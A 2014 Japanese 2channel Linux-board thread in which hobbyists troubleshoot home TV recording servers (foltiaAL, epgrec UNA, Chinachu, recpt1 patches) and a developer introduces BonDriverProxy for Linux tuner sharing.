2014/04/06(日) 01:31:15.41ID:nK9Vps3DそのままfoltiaAL使ってろ
0278login:Penguin
2014/04/06(日) 17:30:30.18ID:hmyy2Qlz0279login:Penguin
2014/04/07(月) 02:00:02.16ID:7Y+jM9ksホットスワップが出来るケースで使用予定だけど、ANIMELOCKERではHDDのホットスワップって出来るのでしょうか?
たまり次第どんどん入れ替え予定なのですが
0280login:Penguin
2014/04/07(月) 02:43:30.37ID:g8xJiIGILinuxでのホットスワップに疎いので参考程度にとどめて欲しい。
デフォルトだと録画領域がLVMで組まれる。
なのでホットスワップで使うにはちょっと面倒と思う。
ホットスワップさせるディスクは通常の録画エリアとは別にマウントさせて、録画後のデータを都度コピーさせていくか、根本から作りを自分好みに調教していくか。
とりあえず評価版で試してみりゃどうね?
0281login:Penguin
2014/04/07(月) 12:52:17.50ID:5idKJBFX無理
0282login:Penguin
2014/04/07(月) 12:53:37.87ID:5idKJBFX0283login:Penguin
2014/04/07(月) 22:47:08.09ID:SuYevGW3280も言ってるけどfoltiaALでは
ボリュームマネージャのLVM2が採用されてる
これは録画容量が足りなくなって
後からDiskを追加した時に
スライス切り直しや
ファイルシステム作成し直しすることなく
容量を拡張できるようにするため
lvmの機能でデータを退避させてDiskを抜くこともできるけど
退避までに数時間かかる場合もある
語弊を承知の上でいえば
RAID0を構成しているイメージに近い
Windowsのドライブ単位でのホットスワップをイメージしてるなら、
出来ない、と言う回答になるね
0284login:Penguin
2014/04/08(火) 00:15:30.07ID:4pMFaN+Sここのマウント先を変えたらできないんか。
持ってないから知らんけど。
0285login:Penguin
2014/04/08(火) 01:58:30.48ID:6UdJdYoS一回試したらうまいこと設定されんで、システムパーティションごとパーティションテーブルが変なったさ
故人的にゃ、PTシリーズ使っているならchinachuのが融通効くと思う。
0286login:Penguin
2014/04/08(火) 02:44:14.33ID:ofgZtVMg仮にLVMを使わずに録画領域を設定したとしても
録画データはデータベースで管理されてるので難しい
0287login:Penguin
2014/04/08(火) 03:49:06.44ID:yAzuC6q10288login:Penguin
2014/04/08(火) 08:12:03.07ID:6UdJdYoS試せ
0289login:Penguin
2014/04/08(火) 20:06:07.67ID:yAzuC6q1DIR-EB262-C13の方の購入を検討してる段階です
0290login:Penguin
2014/04/08(火) 20:12:02.11ID:6UdJdYoS大丈夫だ問題ないポチれ。
※但しマザボとの相性は知らん。
0291login:Penguin
2014/04/12(土) 14:59:34.78ID:ZAeJcralメジャーバージョンアップの予感?永久ライセンスないし、今は買えんなこりゃ
0292login:Penguin
2014/04/13(日) 03:47:41.70ID:f5n1hpz5問い合わせてみた。噂通り速攻で返信来るなw
申し訳ございませんが未発表の今後の予定を個別にお話することは出来ません。
また、メジャーアップデートの際には有料アップデートを予定しております。
3.0よりライセンス形態を変更することにより五千円程度の値下げを実現し、多くのお客様からよりお求めやすくなったとのご好評を頂いております。
また、2.0と3.0につきましては、併売期間を長く設定しておりましたために、多くのお客様に希望するライセンス形態と価格をお選びいただけたのではないかと考えております。
0293login:Penguin
2014/04/13(日) 11:31:34.41ID:XootDx1E。。。使ってないけどw
0294login:Penguin
2014/04/13(日) 18:28:39.90ID:rMWKG1bU永久ライセンスがなかったことになるんじゃね?
別製品扱いになって
0295login:Penguin
2014/04/13(日) 20:58:06.45ID:f5n1hpz5流石にそこまで反感買うことはしないだろう
>>293
こんなことで買ったと思える状況なら、社会的には負け組かも
でも結局自分ジャッジで勝ちと思った人が勝ちなので、勝ち組ともいえる
いずれにしてもうらやましい限りだ
0296login:Penguin
2014/04/13(日) 22:27:41.27ID:XootDx1E所詮、売り文句に踊らされただけのような気がするよ。。。
0297login:Penguin
2014/04/20(日) 16:10:41.33ID:YPlWnZDlXPのサポート終了うんぬんでこの録画環境をLinuxに移行させようか
検討しています。
しょぼいカレンダーを使っている foltia がいいかと思ってるのですが、
foltia では PC の電源 ON/OFF管理してくれるでしょうか。
ACPI wakeupさせるパッチを当てればいけるとか、
パッチするなら他の Open Source 系がいいとか
アドバイスいただけるとありがたいです。
0298login:Penguin
2014/04/20(日) 16:44:10.06ID:ZG5HEhapEPGREC , foltia , chinachu などは
常時稼働が前提
試したことないけど、MythTVは電源断ができたと思う
0299login:Penguin
2014/04/20(日) 17:11:28.64ID:zZcXD4q8epgrecでのやり方なら検索すればみつかる
0300login:Penguin
2014/04/20(日) 17:12:05.76ID:OBKZm5zz0301login:Penguin
2014/04/20(日) 17:12:46.61ID:OBKZm5zz0302login:Penguin
2014/04/21(月) 01:51:32.01ID:gEFm7hIhLinuxなら、シェルスクリプト組めば良いと思うの
0305login:Penguin
2014/04/23(水) 00:50:07.68ID:KmtF+df/>>297にその能力が無いなら foltiaALにするか Windowsをアップグレードした方がいいと思う。
0306login:Penguin
2014/04/23(水) 01:48:28.63ID:9WPHr/yj0307login:Penguin
2014/04/23(水) 09:28:54.72ID:b4tKZsRXテスター募ってたのはここで見た
0308login:Penguin
2014/04/27(日) 23:43:29.73ID:0bD78R1cepgrecUNA上では消えるのですが、at jobが残っています。
ログにも「予約ID:3045を削除しましたが AT-JOB:の削除に失敗しました。 (JOBが有りませんでした)」とあります。
atqで見るとやはり残ってます。jobの所有者はrootでした。
atrmしてやると消えます。
何か原因がわかる方いらっしゃいますでしょうか。
0309login:Penguin
2014/04/28(月) 00:35:39.36ID:DBxb0ATb答え自分で書いてない?
0310login:Penguin
2014/04/28(月) 01:10:46.99ID:KFG9h+OPパーミッションあたりかとも思ったのですが、
作るときにrootなんだから、消すときもrootだよなぁと。
0311login:Penguin
2014/04/28(月) 01:45:30.25ID:XgA0l5kV0312login:Penguin
2014/04/28(月) 02:12:06.67ID:vtL0Xj6J0313login:Penguin
2014/04/28(月) 09:01:41.41ID:5VbcaOAd初代i7で余裕だった。
初期値の映像1Mbps、音声96kbpsぐらいで。
っていうか、多分スレチ
Linuxでテレビ総合スレか、DTV板のが好ましいかと。
0314login:Penguin
2014/04/28(月) 09:02:41.01ID:5VbcaOAdちょっと>>315に掘られてくるo.. rz
0315login:Penguin
2014/04/28(月) 14:59:43.62ID:xl+PcSIQ0316login:Penguin
2014/04/28(月) 20:28:41.08ID:dZ8oN+q2C2Dで無理ならG1820でも無理だよな
それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2
0317login:Penguin
2014/04/28(月) 20:30:01.39ID:vtL0Xj6JC2Dで無理ならG1820でも無理だよな
それはさておき人にモノを頼むときはこうやってお願いするんだぜ→or2
0318login:Penguin
2014/04/28(月) 20:43:12.53ID:5x2eoSJZ0319login:Penguin
2014/04/28(月) 20:53:59.86ID:YBoTzmmyhttp://maguro.2ch.net/test/read.cgi/linux/1339817036/
0320login:Penguin
2014/04/29(火) 03:59:23.43ID:ZGq+w8bgおれG1820Tつかってるけど、
初期値の解像度1280x720 映像1Mbps 音声96kbps いけてるで。
CPU 53〜60%くらい。
2番組録画中でもこんなもんだった。
全部MAXはブッチブチで無理だった。
0321login:Penguin
2014/04/29(火) 09:27:56.93ID:vyadcz4qgetepg.phpのcronがrootで実行されてんじゃね?
これだとキーワード予約がrootでatされる
0322login:Penguin
2014/04/29(火) 13:12:41.93ID:ELZUHVys多分こういう人はrootが特別なユーザだって事から説明してあげないといけない
このスレ的には>>308だけで完結してる
0323login:Penguin
2014/04/29(火) 13:39:54.33ID:XsTzL/0V古いのを使い続ける奴は自己解決しやがれ
0324login:Penguin
2014/04/29(火) 15:26:46.61ID:ZNdXx4st消すときはWebからなのでapacheでjobが作られてないと消せませんね。
でもcronの設定ではapacheで実行するようになってました。
epgrecUNA以外の所が原因かもしれません。
変なのも湧いてきたしあとは自分で何とかします。
ありがとうございました。
0325login:Penguin
2014/04/29(火) 16:26:21.07ID:x/BTOF0F障害が解決してもその報告をしに来ない恩知らずだろうな。
0326login:Penguin
2014/04/29(火) 17:00:46.54ID:ZNdXx4st0327login:Penguin
2014/04/29(火) 17:29:56.80ID:x/BTOF0F情報後出しで、できません、分かりません、ちょっと煽られたら
ふてくされて「自分で何とかします」かよ。
コミュニティへの貢献意識ゼロだなw
絡まれると面倒なので先に断っておくが、コミュニティってのは
このスレのことじゃないからな。
0328login:Penguin
2014/04/29(火) 17:31:59.34ID:ZNdXx4st0329login:Penguin
2014/04/29(火) 17:50:15.11ID:9Ke+EExa0330login:Penguin
2014/04/29(火) 17:54:15.21ID:wCW/FZ9/0331login:Penguin
2014/04/29(火) 18:00:01.98ID:XsTzL/0V0332login:Penguin
2014/04/30(水) 01:01:32.85ID:5Zedrv+X0333login:Penguin
2014/04/30(水) 02:52:35.06ID:2OgepfBJおお、ありがとう
chinachuは入れて録画もできるんだが、libvpxのインストールが途中でとまっちゃうんで、
本腰入れて解決してもスペック不足で使えないんじゃ意味ないと思って確認したかった
0334login:Penguin
2014/04/30(水) 12:22:34.87ID:3gmqxmbgちなみちchinachu実機で再生したことないから、その場合はもっとCPUくうな。
0335login:Penguin
2014/05/01(木) 00:34:10.25ID:KMcrmJZQnode.js v0.10 だと起動時にこけてしまう…
0336login:Penguin
2014/05/01(木) 00:50:25.32ID:uXb4jdjFChinachuってNodeもよろしくインストールしてくれるじゃん
0337login:Penguin
2014/05/01(木) 01:16:10.98ID:KMcrmJZQうへぇ
Node.jsもバンドルされてるんだね。初めて知った...
ローカルのNode.jsアンインストールしたら無事動いたわ。ありがとう
0338login:Penguin
2014/05/01(木) 02:47:55.03ID:uXb4jdjFなるほど
https://github.com/kanreisa/Chinachu/blob/master/chinachu#L49
0339login:Penguin
2014/05/01(木) 10:21:23.16ID:kWd0d7dDされるけど、パッケージとか自前コンパイルのをインストールしても動くはず。
PATHはちょっと変える必要あるかもしれんが。
0340pt1.oyama
2014/05/02(金) 15:28:39.14ID:pGwISh0nなにとなにとなにをマージすると最強になれる?
pt1.oyamaのDLNAは残しつつ、ES出力は削っちゃう予定。
httpサーバ版とバグフィックス幾つかぐらいを念頭に置いています。
0341login:Penguin
2014/05/02(金) 16:22:12.10ID:FZEVFZhz0342login:Penguin
2014/05/02(金) 17:47:33.79ID:eFOW9S2F気が向いたら結構なので、W3PEの対応と、W3PEでsidオプション指定時にepgを設定しても無視される事象を治してくれたら、きっと俺は嬉しさで悶え死ねる。
W3PEの対応はfoltiaALの内部でパッチが当てられてる臭いけど、ソースが公開されておらず、難読化もされているっぽい。
なので俺にゃお手揚げ。
0343login:Penguin
2014/05/02(金) 18:55:01.16ID:v42JcFsIどれをベースにするのでしょうか?
正直なところ pt1-oyamaは、少数派だと思います。
私個人は、新本家(http://hg.honeyplanet.jp/pt1/ )の最新版に以下のhttpサーバ・パッチをあてたものを使用しています。
http://www1.axfc.net/uploader/Sc/so/377422
>>342
>W3PEでsidオプション指定時にepgを設定しても無視される事象を治してくれたら、きっと俺は嬉しさで悶え死ねる。
epg指定を最後にすると通ると思うよ
--sid hd,epg
こんな感じで
これは、上記のhttpサーバ・パッチで修正されていると思った。
W3PE用recpt1のソースは、一応公開されています。URLは忘れた。
新本家とほぼ同じだけどひとつ非公開関数をコールしている。(たぶんドライバーとのチャンネル関係のやり取り)
0344login:Penguin
2014/05/02(金) 22:24:40.21ID:uX75vGtb0345login:Penguin
2014/05/03(土) 00:30:21.58ID:R4I77RzK0346login:Penguin
2014/05/04(日) 11:07:11.26ID:bbthz8eB2〜3日連続して動かしていると各映像・音声はそのままでepgデータが失われている現象に遭遇した。
だれか原因わかる人います??
0347login:Penguin
2014/05/04(日) 22:07:29.17ID:f+E2eVtj今は違うかもしれないけど
0348login:Penguin
2014/05/04(日) 22:13:40.29ID:VV+o7Fl70349login:Penguin
2014/05/06(火) 04:14:27.16ID:HAnmH/65更新されたっぽいので早速落としました。感謝。
0350login:Penguin
2014/05/07(水) 07:44:29.46ID:UNpwbhO+0351login:Penguin
2014/05/11(日) 21:14:24.12ID:f+bVakdY思い、1スレ目から読んで面白かった。
VM上でコンパイルこけて、このレスが役にたった。ありがとう
【視聴・録画】Linuxでテレビ総合7【デジタル/アナログ】 (Linux板)
761 login:Penguin 2012/11/27 (火) 18:01:17
自分はfriioじゃないけど、同じようにUbuntu12.04にしてからb25で躓いたことがあるんで、もしかしたらMakefileのgccオプション問題じゃないのかな。
CC = gcc -Wl,--no-as-needed
に書き換えてみたらどうでしょう?見当違いだったらごめんなさい。
スレ全部読んだ印象だと何かいろいろ録画鯖あるけど一番人気はepgrec UNAって奴っぽいな?
そん次がChinachuとかいうやつ
nginx使ってるからとりあえずepgrec UNAを入れてみるぜ
0352login:Penguin
2014/05/12(月) 00:57:32.32ID:K2JieFGQ0353login:Penguin
2014/05/12(月) 10:32:02.24ID:FDW7z495一回ハマるとなかなか動かない
0354login:Penguin
2014/05/12(月) 12:48:31.56ID:hPnRcaGdGWの更新が大規模だったからやられたクチかな?
それなら最新状態に追従しなきゃ良いだけでは?
他のは使い勝手が悪いしバグを抱えたまま更新が止まっているのを改造するよか大分楽だと思うが
0355login:Penguin
2014/05/12(月) 16:11:12.85ID:xFAuzapQいや、単に改造へのハードルが高いよって意味だよ。
超絶長い関数とかいろいろ。
これを管理できてる作者には本当に頭が下がる。
0356login:Penguin
2014/05/20(火) 02:02:50.43ID:+ysSmX8vポイントは以下の2点
- foltiaからドライバ(pxq3pe_dtv.ko)、 recpt1コマンドなど流用
デバイス名は 衛星: /dev/pxq3pe{0,1,4,5} 地デジ: /dev/pxq3pe{2,3,6,7}
デバイスのパーミッションが 660 なので、 chinachuユーザがアクセスできるようにする。
- epg取得用のrecpt1のオプションを変更し、 "--sid epg" 部分を削除
~chinachu/Chinachu/app-scheduler.js :
- recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace('<sid>', 'epg');
+ recCmd = recCmd.replace(' --b25', '').replace(' --strip', '').replace(' --sid <sid>', '');
0357login:Penguin
2014/05/20(火) 03:36:00.16ID:VpOCCq8z録画データに他のサービスも入り、サイズがでかくなるがEPG情報を残したかったのでconfig.jsonの方で"-sid <sid>"を除いてる。
ドライバのロードは、sysconfig/modulesにスクリプト置いて、その中でchmodもかけてやると手っ取り早いかと。
0358login:Penguin
2014/05/20(火) 04:17:31.91ID:j+IyEa/9カーネルモジュールのソース公開するかARM版同梱してくれ。
Raspberry Piで使いたいんじゃ
0359login:Penguin
2014/05/20(火) 04:19:23.72ID:j+IyEa/9PLEXの人よろしく!
0360login:Penguin
2014/05/22(木) 22:09:16.78ID:k10sTAWkffmpegでエラーが出るTSをエラー回避する方法ってまだ発見されてないよね?
0361login:Penguin
2014/05/23(金) 12:47:52.45ID:BTB+2HsY0362login:Penguin
2014/05/24(土) 18:30:03.55ID:p0xMBKl5CentOS 6.5にChinachuを公式ページを参照しインストールしました。
しかし、ウェブからのアクセスが出来ません。 wuiのlogには以下の記載がありました。
**SELF-REGULATION WARNING**: If you want to access from outside of LAN, Please activate TLS.
info: socket.io started
info: socket.io started
warn: error raised: Error: listen EAFNOSUPPORT
-確認したこと-
recpt1も入れ、recpt1 --b25 --strip 27 10 test.ts で地上波、BS/CS録画できた
./chinachu update -f でEPGを取得
http://127.0.0.1:10772/ には「接続できません。」とでます。LAN内の他PCでも同様。
http://127.0.0.1/ だと「Welcome to socket.io.」となります。
録画フォルダにはアニメが溜まっており裏で録画は一応されている模様…
なお、SELinux、Firewallはオフにして上記確認をしました。
0363login:Penguin
2014/05/24(土) 18:53:01.64ID:FR/ktQyv0364362
2014/05/24(土) 19:31:19.46ID:p0xMBKl510772は相変わらずダメですが、20772でパスワード付きログイン可能になりました!
結局なぜ10772はダメなのか…
0365login:Penguin
2014/05/24(土) 19:36:07.72ID:g85oOCTNどこかに、まんちがい があるんじゃないか?
0366login:Penguin
2014/05/24(土) 19:37:28.05ID:dEzGYObKOpenSSLが入ってないんじゃないの?
0367362
2014/05/24(土) 19:56:09.77ID:p0xMBKl5>>366
間違いありました…>>154のこれでした!
過去ログってかこのスレよく見ろって話でした。失礼致しました。
0368login:Penguin
2014/05/24(土) 22:09:45.11ID:rGW7EZiJ日本から国外の放送って受信どうやるの?
PT3以外にチューナー必要?
0369login:Penguin
2014/05/24(土) 22:18:46.20ID:dEzGYObK0370login:Penguin
2014/05/24(土) 23:24:30.09ID:rHhUKAKd> Error: listen EAFNOSUPPORT
ちゃんとエラー読もう。
ttp://linuxjm.sourceforge.jp/html/LDP_man-pages/man3/errno.3.html
多分 wuiHost を "0.0.0.0" にすれば行けるかもしれない。
0371login:Penguin
2014/05/25(日) 00:33:53.89ID:5nKTJLx/0372login:Penguin
2014/05/25(日) 01:28:27.74ID:JgTv6bvVIPv6切ってるからだろうか。
0373login:Penguin
2014/05/25(日) 07:07:40.71ID:9GeonHb20374login:Penguin
2014/05/25(日) 07:10:05.82ID:9GeonHb2>>362は思いっきりCentOSと書いてた。
ちょっと寝直してくる。
0375login:Penguin
2014/05/25(日) 09:19:46.19ID:bIxO4Fui0376login:Penguin
2014/06/04(水) 00:55:57.35ID:SXMO+C9Uhttp を叩くごとにメモリー使用量(ps で言うところの RSS)が増大し、初めは1Mも使っていなかったものが
ちょっと油断すると200M以上食っていたりします。
元に戻すにはrecpt1を再起動させるしか思いつかないのですが、他になにか良い方法はあるのでしょうか。
それとも、こんな振る舞いをするrecpt1はウチの子だけ?
0377login:Penguin
2014/06/04(水) 21:29:59.95ID:DA/mzAUw普通に考えるとまともに動かないだろ
ちゃんとにソース読んで確認した?
それができないのであれば配布されてるものそのまま使うべき
0378login:Penguin
2014/06/04(水) 22:32:59.51ID:mUsuRBNT>本来とは違うバージョンのソースにパッチ当てたってこと?
新本家は、新旧で構成が違うからそれ用でないとパッチできない。
だからそれは無い
と書いてみたが念のため確認したら>>343のパッチは古いやつジャン
リンク貼り間違えたんかねえ
最新版用は、以下だよ
http://www1.axfc.net/uploader/so/3042920
0379376
2014/06/05(木) 20:55:05.09ID:4T47rBOf残念ながら、この最新版用をパッチ当てても症状は同じでした。
recpt1 を --http オプションを付けてdaemonとして立ち上げておき、http interfaceを通してvlcで
tvのリアルタイム視聴をしているのですが、チャンネルを変更するたびに(httpを叩くたびに)recpt1の
メモリー使用量が増えていくのが観察できます。 そちらではこんな事はありませんか?
因みに、vlcでのリアルタイム視聴やチャンネル変更は全く問題なくできています。
0380login:Penguin
2014/06/05(木) 22:45:16.43ID:zOG4NeQ9メモリリークしてるっぽいね。
当方 dlna での視聴では発生していないので、
http オプション固有の問題かも?
0381login:Penguin
2014/06/06(金) 02:45:21.62ID:g8zCdq2U0382login:Penguin
2014/06/07(土) 16:36:10.25ID:7i7ivPYI12ch分チューナつんだのもあるんですけど、空いているチューナ全部使ってるみたいなので、
これを1〜2chずつゆっくりepg取得するようにカスタマイズしたいと思ってるんですが、
やっている人はいませんか?
0383login:Penguin
2014/06/07(土) 17:02:42.05ID:Y6J2BtGZうち、chinachuだけどロードアベレージ
0.6越したことないんだけど
xeon e3v2下の仮想環境でcpu2つ割り当て
pt3x3だから12ch
0384login:Penguin
2014/06/07(土) 20:21:04.75ID:7i7ivPYIウチの環境だと1ch録画中で、0.7位までいってしまいます。
見よう見まねで、小型&多チャンネル目的にして、以下の環境作りました。
どこかチューニングしたらまともになるんでしょうかね?
[環境]
アプリ: chinachu
MB: ECS H81H3-M4, CPU: Pentium G3220T(2c2t、2.6Ghz), MEM:4GiB
OS: CentOS6.5, tuner: pt3 & pxq3pe
load avgは
・1ch録画時: 0.5〜0.7位
・chinachu update -f 実行中
epg用ts録画中(8ch分): 2.0 〜 3.0
epgdump実行中(8ch分): 10.0超 !!!
0385login:Penguin
2014/06/08(日) 07:41:15.18ID:7sTQwSYo知らなかったわ。TS抜きも出来るの?
0386Penguin
2014/06/08(日) 09:40:57.60ID:xy7zHSjrSELECT Recorder_channelTbl.name, Recorder_programTbl.title
FROM Recorder_programTbl
JOIN Recorder_channelTbl
JOIN Recorder_categoryTbl
ON Recorder_channelTbl.channel_disc = Recorder_programTbl.channel_disc
AND Recorder_categoryTbl.id = Recorder_programTbl.category_id
WHERE Recorder_programTbl.endtime > now( )
AND CONCAT( Recorder_categoryTbl.id ) REGEXP '(4|8)'
AND CONCAT( Recorder_programTbl.title )
REGEXP '( 第(1|1)話|\\\[新\\\]|<新>|#1$|#1$|#1$)'
AND CONCAT( Recorder_programTbl.starttime )
REGEXP "$nextday"
ORDER BY Recorder_programTbl.starttime ASC
LIMIT 300;
0387login:Penguin
2014/06/08(日) 09:46:54.15ID:dfytllm1\[新\]|[新]|<新>|\(新\)|【新】|第0*[1一][話回]| 新$|#0*1(?!\d)
([\[\(【<]新[>】\)\]])| 新$|第0*[1一壱][話回夜弾]|#0*1(?!\d)
[\[\([【<]新[>】]\)\]]| 新$|第0*[1一―ー壱][話回夜弾]|[#♯]0*1(?!\d)
といった辺りが使われているそうな
当然そのままじゃ無理だろうけど
0388login:Penguin
2014/06/08(日) 09:56:18.74ID:T64ooM690389login:Penguin
2014/06/08(日) 10:39:17.34ID:ko/H8WLt0390login:Penguin
2014/06/15(日) 21:50:34.86ID:jKV0LTvOhttp://valgrind.org/docs/manual/quick-start.html
http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c904.html
上記を参考にValgrind使ってhttpサーバー版を実行してみた所、
メモリリークしてますね。ただ、私の知識ではどこを修正すれば
治るのかまでは分かりませんが。
0391login:Penguin
2014/06/15(日) 22:38:51.05ID:QthMzmB5気分転換に調査してみる
0392login:Penguin
2014/06/15(日) 23:11:15.03ID:jKV0LTvOhttp://hg.honeyplanet.jp/pt1/rev/c8688d7d6382
==7209== 16,360 bytes in 1 blocks are definitely lost in loss record 1 of 1
==7209== at 0x4C2AB80: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==7209== by 0x402163: main (recpt1.c:883)
883: bufptr = malloc(sizeof(BUFSZ));
recpt1.c の 883行目でmallocしたメモリをfreeしてないということの様ですが
録画終了時の処理なのですぐにプロセス終了で回収されるでしょうね。
httpサーバー版だと通らない所に見えるので関係性はなさそうです。
0393login:Penguin
2014/06/16(月) 01:40:50.32ID:XyT/HHKp0394login:Penguin
2014/06/21(土) 10:52:54.18ID:lKTRMCOSチューナの共有ソフトです
ttp://www1.axfc.net/u/3262994
Unix系のこの手のソフトの開発者の方への、BonDriverインタフェース使いませんか?て提案でもあります
あと、ReadMeで言及してるwindows版はこちら
ttp://www1.axfc.net/u/3261982
0395login:Penguin
2014/06/21(土) 11:46:56.89ID:+B2BoxND0396login:Penguin
2014/06/21(土) 20:41:58.55ID:yRRtKnRjおぉー、Linux側を鯖にして、Windows側をクライアントで使用している場合には
可能性が広がりますね。
Githubで公開とか出来ませんか?
0397login:Penguin
2014/06/22(日) 07:28:03.69ID:9K15rOHz一応、Linuxで実行するアプリの場合でもBonDriverインタフェースを使う形で実装すれば、
このツール経由でチューナ共有やチャンネル変更の優先権の設定機能は利用可能になるので、
クライアントはWindows限定ってわけじゃないんです
サンプルとしてBonDriverインタフェースを使用して生TSストリームを保存するプログラムのソースを
入れてるので、開発者の方にはそれ見てもらえればBonDriverの大体の使い方はわかるかと思います
サンプルをちょっと変更して、生TSではなくてスプリット/デスクランブルしたものを出力するようにすれば、
ストリーム配信とかも大した手間かけずに可能です
現状のままでも、epgrecを若干修正してTS保存アプリとしてこのサンプルを起動するようにすれば、
epgrecの大改造無しに録画機能がBonDriverインタフェース対応になりそうな気もします
#未確認ですが
0398login:Penguin
2014/06/22(日) 07:31:15.56ID:9K15rOHzアプリ側が正しくBonDriverインタフェースを利用している限り、それがBonDriver_LinuxPTであれ
BonDriver_Proxyであれ、あるいは誰かがつくるかもしれないBonDriver_LinuxW3PEであれ、
正しく機能する事を保証するのがBonDriver層の仕事です
実際のデバイスの差異をBonDriver層で吸収してしまう事で、新しいデバイスが出てきた場合にも
上位層のアプリは修正不要になるはずです
#当然そのデバイス用のBonDriverは必要になりますが
例えば、recpt1をBonDriverインタフェースを使用するように改造した場合、今後特定デバイスへの対応と言う
意味での変更は不要になる、みたいな感じです
とまあそんな意図から、Unix系の開発者の方にもBonDriverインタフェース使いませんかと提案してみた次第です
0399login:Penguin
2014/06/22(日) 07:33:52.85ID:9K15rOHzttps://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux
0400login:Penguin
2014/06/22(日) 08:11:44.80ID:EZXKzEnF0401login:Penguin
2014/06/22(日) 08:46:26.34ID:EOcOKztNFIN
0402login:Penguin
2014/06/22(日) 11:01:22.03ID:yqCR4suwということであってる?
あとそもそものBonDriverProxyの役割がよくわからない
0403login:Penguin
2014/06/22(日) 11:39:32.39ID:cdsubSq1メリットはチューナーの優先制御あたりですかね
0404login:Penguin
2014/06/22(日) 11:45:33.64ID:2N7DXHcb現状recpt1を使ってepgrecとvlcがあれば事足りるからな〜
使ってないからよくわらかんけどDVBみたいなもの?
0405login:Penguin
2014/06/22(日) 11:54:50.21ID:po6RCm/Bunknownのアナグラムがうんこなうになる程世の中は甘くはない
でも一字違いなんだよな、惜しい
0406login:Penguin
2014/06/22(日) 12:25:25.08ID:ec/Gwt+a0407login:Penguin
2014/06/22(日) 13:06:59.64ID:BasD8bs20408login:Penguin
2014/06/22(日) 14:30:12.09ID:LfXdXm96「使用スペース指定」ってなに?
基本的な仕様がわからないようでは相手にされないと思うよ
あと具体的なメリットと運用例を挙げるとかさ
0409login:Penguin
2014/06/22(日) 15:57:39.23ID:BasD8bs2epgrecで録画で使っているチューナーをリアルタイム視聴にも
回したいといった用途だとEx版じゃないとだめ?
0410login:Penguin
2014/06/22(日) 16:21:38.42ID:9K15rOHz実は当方もアカウントつくってからそう思いました(;´Д`)
>>402
そんな感じです
BonDriverProxyは、BonDriverインタフェースに対応しているアプリと実際の使用BonDriverをTCP経由でプロキシするものです
基本的にはリモート視聴用途ですね
このプロキシの際の副次的な機能として、クライアント1と2から同じBonDriver(大抵の場合は=物理チューナです)を要求された場合は、
そのチューナからのTSストリームを両方のクライアントに配信します
なので、同じ物理チャンネルなら複数のユーザが同じチューナを利用して視聴できる形になります
#プロキシ対象がBonDriver_LinuxPTなら配信対象は生TSストリームになるので、同じトラポン内の別サービスを
#それぞれのクライアントが利用するというのも可能です
#例えばクライアント1はフジテレビnextを、クライアント2はフジテレビoneをみる、みたいなパターンですね
またチューナを共有しているユーザ同士の間で、チューナのチャンネル変更権の優先度を設定する事が出来ます
クライアント1はいつでもチャンネル変更できるけど、クライアント2は優先権を持ったユーザが接続していない場合のみ変更できる、
みたいな設定です
これは、誰かがリアルタイム視聴してても録画機能はチャンネルを持って行けると言う様な用途を想定しています
まあぶっちゃけSpinelと同じようなもんだと思ってもらえばそれ程間違いは無いかと
0411login:Penguin
2014/06/22(日) 16:34:44.40ID:9K15rOHzBonDriver_HTTPですね
あれはrecpt1をhttpプロトコル経由でチャンネル指示を受けてストリーム配信開始するように改造したのを、
TVTest等から受けられるようにするための物なので、Linux側のアプリがBonDriverインタフェースに
対応していると言うわけじゃないんですよね
#ちなみにrecpt1のHTTPサーバ版にはド直球のスタックバッファオーバーランがあるので、そこを修正してない人は
#外部への公開はお勧めしません
>>404
まあそこですよね
ユーザ視点で見れば、正直現状で困ってないのなら移行する必要性はあんまりない感じです
当方の提案はどっちかと言うと、ユーザではなく開発者向けのものですね
>>406
そうなんですが、現在のところ(少なくとも日本では)一番メジャーだと思われるrecpt1では使われてませんし、
BonDriver層はどっちかと言うとそれよりもう一段上位層に位置してそうなイメージです
Windowsでは事実上標準のインタフェースにする事で、Windows用のソフトを移植しやすくなるんじゃね?てのもあります
EDCBのUIはともかくエンジン部分とかですね
>>407
LNB用のioctlに引数がついてpt3_ioctlと同じになってます
0412login:Penguin
2014/06/22(日) 17:01:16.22ID:9K15rOHzBonDriverは、そのドライバ毎にスペース/チャンネルと実際のデバイスの物理チャンネルとの対応を内部的に持つ形になります
例えばUHFでの物理チャンネルが27でも24でも、BonDriver側の設定で、アプリからは同じチャンネルに見せる事が出来ます
テレビのリモコン番号のイメージですね
#ただ、おそらくもっともメジャーなBonDriver対応アプリであるTVTestでは、チャンネルスキャンする事によって、
#そこから更に内部的に放送局とあるBonDriverでのスペース/チャンネルとの対応を把握して保存する形なので、
#「アプリに同じチャンネルに見せる」と言う機能はあんまり活用されてない感じですが
スペースに関しては便宜的な物で、BS空間とCS110空間を分けて扱いたい、みたいな場合に使う感じです
と言うのが当方の理解です
当方もBonDriverインタフェースの考案者に意図を確認したわけではないので、各種BonDriverの挙動からの判断となってしまいますが…
で、BonDriver_LinuxPTで言えば、スペースは使用しておらず、0固定です
具体的には、PT3のS0を使う場合、スペース0のチャンネル0はBS朝日、スペース0のチャンネル17はNHK-BS1、みたいな感じで
confファイルに設定してます
BonDriverインタフェースに移行するメリットは、開発者的には>>402さんの通りですが、
ユーザ的には正直あんまりないかもしれません
#BonDriverProxyを使うと言う前提でなら、>>410で書いた様な運用が可能になりますけども
>>409
Ex版の方は使用BonDriverの選択を自動にして、クライアントからの要求毎になるべく少ない数のチューナで対応しようと言う物です
VirtualPTみたいな機能が欲しいって声があったので、つくってみたって感じの機能です
チューナの共有は無印でも可能です
例えばepgrecが起動するアプリからBonDriver_Proxyを使用して(チャンネル変更権を設定して)TS保存する形にすれば、
別アプリからやはりBonDriver_Proxy経由でそのチューナがリクエストされた場合には、そちらには(チャンネル変更権を
設定していない限り)録画中のチャンネルのTSストリームが配信されます
0413login:Penguin
2014/06/22(日) 17:10:05.18ID:yqCR4suw自分で言っておいてなんだけど、アプリケーションのインターフェースをBonDriverで統一したとしてもWindowsアプリをLinuxに移植できる訳じゃないよね?
いまいちメリットを理解出来てないw
0414login:Penguin
2014/06/22(日) 17:37:04.90ID:BasD8bs2全然ついていけんw
BonDriverのことがわからんのがいかんな・・・
なんとかBonDriverProxy動くとこまで行きたいけど・・・
0415login:Penguin
